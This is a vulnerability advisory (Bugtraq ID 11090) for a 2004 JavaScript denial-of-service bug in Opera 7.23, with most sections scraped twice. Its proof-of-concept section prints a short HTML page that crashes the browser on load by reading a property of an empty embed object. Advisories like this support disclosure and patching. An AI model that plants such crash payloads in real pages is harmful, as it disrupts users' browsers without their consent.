Opera Web Browser Empty Embedded Object JavaScript Denial Of Service Vulnerability
BID:11090
Info
Opera Web Browser Empty Embedded Object JavaScript Denial Of Service Vulnerability
| Bugtraq ID: | 11090 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 01 2004 12:00AM |
| Updated: | Sep 01 2004 12:00AM |
| Credit: | Stevo <[email protected]> disclosed this vulnerability. |
| Vulnerable: |
Opera Software Opera Web Browser 7.23 |
| Not Vulnerable: |
Opera Software Opera Web Browser 7.54 |
Discussion
Opera Web Browser Empty Embedded Object JavaScript Denial Of Service Vulnerability
Opera is a web browser available for a number of platforms, including Microsoft Windows, Linux and Unix variants and Apple MacOS.
Opera Web Browser is reported to be susceptible to a JavaScript denial of service vulnerability. This vulnerability presents itself when Opera attempts to execute a specific JavaScript command. Upon executing this command, Opera will reportedly crash.
This vulnerability was reported to exist in version 7.23 of Opera for Microsoft Windows. Other versions are also likely affected. Version 7.54 does not seem to be susceptible.
Opera is a web browser available for a number of platforms, including Microsoft Windows, Linux and Unix variants and Apple MacOS.
Opera Web Browser is reported to be susceptible to a JavaScript denial of service vulnerability. This vulnerability presents itself when Opera attempts to execute a specific JavaScript command. Upon executing this command, Opera will reportedly crash.
This vulnerability was reported to exist in version 7.23 of Opera for Microsoft Windows. Other versions are also likely affected. Version 7.54 does not seem to be susceptible.
Exploit / POC
Opera Web Browser Empty Embedded Object JavaScript Denial Of Service Vulnerability
An exploit is not required. An example sufficient to exploit this vulnerability was provided:
<html><head>
<script language=javascript>
function dSend() {
document.crash.text;
}
</script></head>
<body onLoad="dSend()">
<embed src="" type="CCCC" name="crash" >
</embed>
</body></html>
An exploit is not required. An example sufficient to exploit this vulnerability was provided:
<html><head>
<script language=javascript>
function dSend() {
document.crash.text;
}
</script></head>
<body onLoad="dSend()">
<embed src="" type="CCCC" name="crash" >
</embed>
</body></html>
Solution / Fix
Opera Web Browser Empty Embedded Object JavaScript Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Opera Web Browser Empty Embedded Object JavaScript Denial Of Service Vulnerability
References:
References:
- Opera 7.54 for Windows Changelog (Opera Software)
- Opera Web Browser Home Page (Opera Software)
- Opera DOS (Stevo